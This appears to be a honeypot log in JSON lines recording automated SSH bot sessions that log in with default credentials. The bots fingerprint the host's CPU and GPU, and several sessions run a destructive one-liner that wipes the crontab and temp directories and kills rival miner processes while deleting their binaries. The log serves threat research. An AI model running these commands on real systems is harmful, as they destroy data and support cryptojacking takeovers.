{"id":"0bb16e03-cfb1-4817-8665-b245caabc272","name":"brazen-idle-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":40926,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":290,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:01:32.689966+00:00","ended_at":"2026-08-27T03:01:38.734094+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T03:00:41.377153+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:00:45.079456+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:00:45.281106+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:00:50.128931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:00:50.325763+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:00:55.912675+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:51"},{"seq":7,"at":"2026-08-27T03:00:56.443900+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:00:59.321971+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:00:59.497340+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:01:04.650069+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:01:04.820220+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:01:09.803736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:01:10.318122+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:01:13.848947+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:01:14.139353+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:01:19.784519+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:01:20.223076+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:01:24.009399+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:01:24.377699+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:01:29.053410+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:01:29.351436+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:01:32.496293+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:01:32.690738+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:01:38.531072+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"d41a5ed0-aa2a-4cf3-a350-3e27b2e93f4f","name":"sandy-zealous-hoopoe","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":35240,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:04:01.607778+00:00","ended_at":"2026-08-27T02:04:04.189374+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"239806a6-9c70-4712-b3d4-8a85ab130d2a","name":"hazy-buoyant-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":55976,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":351,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:03:57.895210+00:00","ended_at":"2026-08-27T02:04:04.187591+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-27T02:03:00.998875+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:03:05.510523+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:03:05.932839+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:03:10.636088+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:03:10.845811+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:03:13.831031+00:00","kind":"output","latency_ms":null,"data":"6 days, 22:53"},{"seq":7,"at":"2026-08-27T02:03:14.182650+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:03:17.109297+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:03:17.741189+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:03:21.610253+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:03:22.206343+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:03:25.434595+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:03:25.715127+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:03:31.250608+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:03:31.447880+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:03:37.158232+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:03:37.451952+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:03:42.705367+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:03:43.115659+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:03:45.859287+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:03:46.045558+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:03:48.836024+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:03:49.012272+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:03:53.609782+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:03:53.983927+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:03:57.895954+00:00","kind":"input","latency_ms":null,"data":"echo splunk > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"defdc84a-81b5-43a5-a985-b173c3b480e8","name":"jaunty-scarlet-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":51808,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":1190,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T14:01:11.772295+00:00","ended_at":"2026-08-26T14:01:16.170138+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T14:00:10.264683+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T14:00:15.137345+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T14:00:16.763940+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T14:00:20.208362+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T14:00:21.301721+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T14:00:24.031029+00:00","kind":"output","latency_ms":null,"data":"6 days, 10:50"},{"seq":7,"at":"2026-08-26T14:00:25.127845+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T14:00:30.554482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T14:00:32.394732+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T14:00:37.485147+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T14:00:39.675133+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T14:00:43.977658+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T14:00:44.359034+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T14:00:47.623947+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T14:00:48.800087+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T14:00:53.598642+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T14:00:53.890849+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T14:00:57.086883+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T14:00:58.884176+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T14:01:03.446303+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T14:01:05.782013+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T14:01:10.582225+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T14:01:11.773271+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T14:01:15.454279+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"a3411e99-c6c7-4877-a0c7-513f43f33c44","name":"wandering-solar-toucan","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":38942,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:02:29.254272+00:00","ended_at":"2026-08-26T12:02:35.296860+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"b607e4b1-8409-4bbe-90a7-89d5b6021f89","name":"fearless-lawful-redshank","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":57194,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":570,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:02:22.655548+00:00","ended_at":"2026-08-26T12:02:35.295764+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1661,"events":[{"seq":1,"at":"2026-08-26T12:01:23.767320+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:01:26.577579+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:01:27.319215+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:01:30.573962+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:01:30.995641+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:01:35.867685+00:00","kind":"output","latency_ms":null,"data":"6 days,  8:51"},{"seq":7,"at":"2026-08-26T12:01:36.574233+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:01:41.898661+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:01:42.478836+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:01:45.437062+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:01:45.907930+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:01:49.283800+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:01:49.892956+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:01:52.649893+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:01:52.982188+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:01:56.935220+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:01:57.505625+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:02:02.182525+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:02:02.628585+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:02:06.781631+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:02:08.238791+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:02:12.688858+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:02:13.095356+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:02:17.953280+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T12:02:18.240518+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T12:02:22.656359+00:00","kind":"input","latency_ms":null,"data":"echo password > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"c5b24c30-f9b6-4811-bbe5-5ea5f3cef722","name":"humble-creaky-zebu","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":36214,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:11:27.499078+00:00","ended_at":"2026-08-26T06:11:31.653579+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T06:10:37.375793+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:10:39.917787+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:10:40.116957+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:10:43.579726+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:10:43.814840+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:10:49.251436+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:00"},{"seq":7,"at":"2026-08-26T06:10:49.501125+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:10:53.748101+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:10:54.244190+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:10:57.927548+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:10:58.230246+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:11:02.338332+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:11:02.507199+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:11:07.952124+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:11:08.119225+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:11:12.039063+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T06:11:12.256821+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:11:18.103200+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:11:18.312476+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:11:24.142542+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:11:24.444112+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:11:27.133134+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:11:27.499697+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:11:31.556196+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"e32bd2df-211c-4bac-b16a-60a5da3cb5ab","name":"somber-tidal-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.200","src_port":33858,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T05:42:44.472115+00:00","ended_at":"2026-08-26T05:42:46.453426+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"823b4cff-55e1-4a18-8c7a-d21e2a3ae8ce","name":"downy-tranquil-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":55390,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":205,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T05:42:40.189191+00:00","ended_at":"2026-08-26T05:42:46.454759+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T05:41:39.934692+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T05:41:45.798258+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T05:41:46.023129+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T05:41:51.701897+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T05:41:51.885195+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T05:41:55.158753+00:00","kind":"output","latency_ms":null,"data":"6 days,  2:32"},{"seq":7,"at":"2026-08-26T05:41:55.451066+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T05:41:59.205206+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T05:41:59.390397+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T05:42:04.750532+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T05:42:04.936953+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T05:42:08.622560+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T05:42:08.829259+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T05:42:14.302013+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T05:42:14.496923+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T05:42:19.472677+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T05:42:19.643776+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T05:42:23.015164+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T05:42:23.219740+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T05:42:26.517156+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T05:42:26.727504+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T05:42:31.264177+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T05:42:31.439491+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T05:42:35.417839+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T05:42:35.655834+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T05:42:40.189958+00:00","kind":"input","latency_ms":null,"data":"echo splunk > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
